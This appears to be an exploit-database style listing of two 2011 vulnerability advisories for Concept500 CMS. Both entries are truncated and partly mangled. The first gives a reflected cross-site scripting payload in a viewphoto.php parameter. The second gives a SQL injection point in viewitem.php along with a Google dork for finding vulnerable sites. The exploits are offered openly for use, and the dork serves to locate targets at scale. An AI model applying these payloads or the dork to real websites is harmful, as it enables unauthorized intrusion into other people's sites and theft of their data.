Concept500 CMS Cross Site Scripting

Exploit Title: Concept500 CMS XSS Vulnerability Date: 2011-08-11 Author: Sepehr Security Team Software Site: http://www.concept500.co.uk/ ++++++++++++++++++++++++ Exploit: http:///shop/viewphoto.php?shoph=idXSS&phqu=id XSS: " alertString.fromCharCode88, 83, 83 Demo:...

Concept500 CMS SQL Injection

Exploit Title: Concept500 CMS SQL Injection Vulnerability Google Dork: inurl : inurl:viewItem.php?id= Date: 2011-07-08 Author: Sepehr Security Team Discovered By: H3X Software Site: http://www.concept500.co.uk/ ++++++++++++++++++++++++ Expl0it : http://www.sitename.com/viewitem.php?id=SQL Injecti...